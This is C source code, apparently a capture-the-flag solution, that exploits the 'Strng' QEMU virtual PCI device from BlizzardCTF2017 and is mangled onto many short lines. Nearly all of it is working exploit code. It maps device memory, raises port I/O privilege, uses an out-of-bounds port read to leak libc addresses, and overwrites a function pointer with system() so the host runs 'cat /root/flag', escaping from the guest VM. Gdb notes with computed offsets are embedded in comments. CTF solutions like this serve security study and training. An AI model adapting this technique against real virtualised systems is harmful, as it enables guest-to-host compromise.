/
*
Author: raycp
File
: exp.c
Description: exp
for
BlizzardCTF2017
-
Strng, out
-
of
-
bound access with pmio
Date:
2019
-
08
-
04
*
/
unsigned char
*
mmio_mem;
uint32_t pmio_base
=
0xc050
;
void die(const char
*
msg)
{
perror(msg);
exit(
-
1
);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*
((uint32_t
*
)(mmio_mem
+
addr))
=
value;
}
uint32_t mmio_read(uint32_t addr)
{
return
*
((uint32_t
*
)(mmio_mem
+
addr));
}
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return
(uint32_t)inl(addr);
}
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base
+
0
,offset);
return
pmio_read(pmio_base
+
4
);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base
+
0
,offset);
pmio_write(pmio_base
+
4
,value);
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:03.0/resource0"
, O_RDWR | O_SYNC);
if
(mmio_fd
=
=
-
1
)
die(
"mmio_fd open failed"
);
mmio_mem
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
if
(mmio_mem
=
=
MAP_FAILED)
die(
"mmap mmio_mem failed"
);
printf(
"mmio_mem @ %p\n"
, mmio_mem);
/
/
Open
and
map
I
/
O memory
for
the strng device
if
(iopl(
3
) !
=
0
)
die(
"I/O permission is not enough"
);
/
/
leaking libc address
/
/
result
=
opaque
-
>regs[reg_addr >>
2
];
0x108
>>
2
=
0x42
/
*
gdb
-
peda$ x
/
xi
0x7ffff65268d0
0x7ffff65268d0
<__srandom>: sub rsp,
0x8
gdb
-
peda$ x
/
xw $rdi
+
0x41
*
4
+
0xaf4
0x555557e224a8
:
0xf65268d0
gdb
-
peda$ x
/
xw $rdi
+
0x42
*
4
+
0xaf4
0x555557e224ac
:
0x00007fff
*
/
/
/
puts(
"leak srandom\n"
);
/
/
getchar();
uint64_t srandom_addr
=
pmio_arbread(
0x108
);
/
/
0x7fff
srandom_addr
=
srandom_addr<<
32
;
srandom_addr
+
=
pmio_arbread(
0x104
);
printf(
"leaking srandom addr: 0x%llx\n"
,srandom_addr);
/
*
gdb
-
peda$ vmmap libc
Start End Perm Name
0x00007ffff64ec000
0x00007ffff66ac000
r
-
xp
/
lib
/
x86_64
-
linux
-
gnu
/
libc
-
2.23
.so
gdb
-
peda$ p
/
x
0x7ffff65268d0
-
0x00007ffff64ec000
$
8
=
0x3a8d0
gdb
-
peda$ x
/
i system
0x7ffff6531390
<__libc_system>: test rdi,rdi
gdb
-
peda$ p
/
x
0x7ffff6531390
-
0x00007ffff64ec000
$
9
=
0x45390
*
/
uint64_t libc_base
=
srandom_addr
-
0x00043cd0
;
/
/
0x3a8d0
;
uint64_t system_addr
=
libc_base
+
0x0004f550
;
/
/
0x45390
;
printf(
"libc base: 0x%llx\n"
,libc_base);
printf(
"system addr: 0x%llx\n"
,system_addr);
/
/
leaking heap address
/
*
gdb
-
peda$ x
/
10xg
0x555557e218b0
+
0x1d4
+
0x18
+
0xaf4
0x555557e22590
:
0x0000555557e225e0
0x0000555557e22600
0x555557e225a0
:
0x0000000000000000
0x0000555555a5b5b0
0x555557e225b0
:
0x0000555555a5b630
0x0000000000000000
0x555557e225c0
:
0x0000555555a5b210
0x0000555557e22570
0x555557e225d0
:
0x0000000000000000
0x0000000000000021
gdb
-
peda$ p
/
x
0x1d4
+
0x18
$
2
=
0x1ec
gdb
-
peda$ vmmap heap
Start End Perm Name
0x000055555610a000
0x0000555558182000
rw
-
p [heap]
gdb
-
peda$ p
/
x
0x0000555557e225e0
-
0x000055555610a000
$
3
=
0x1d185e0
gdb
-
peda$ p
/
x
0x555557e218b0
+
0xaf4
+
0x8
-
0x000055555610a000
$
4
=
0x1d183ac
*
/
/
*
uint64_t heap_addr
=
pmio_arbread(
0x1f0
);
heap_addr
=
heap_addr<<
32
;
heap_addr
+
=
pmio_arbread(
0x1ec
);
printf(
"leaking heap addr: 0x%llx\n"
,heap_addr
-
0x1d185e0
);
uint64_t para_addr
=
heap_addr
+
0x1d183ac
;
printf(
"parameter addr: 0x%llx\n"
,para_addr);
*
/
/
/
overwrite rand_r pointer to system
/
/
Python>
hex
(
0xc08
-
0xaf4
)
=
0x114
pmio_abwrite(
0x114
,system_addr&
0xffffffff
);
/
/
In [
84
]: enhex(b
'cat /root/flag'
)
/
/
Out[
84
]:
'636174202f726f6f742f666c6167'
mmio_write(
8
,
0x20746163
);
mmio_write(
12
,
0x6f6f722f
);
mmio_write(
16
,
0x6c662f74
);
mmio_write(
20
,
0x6761
);
puts(
"see cat flag\n b *strng_mmio_write\n"
);
/
/
这里可以看提前放好的参数cat
/
root
/
flag
getchar();
mmio_write(
0xc
,
0
);
}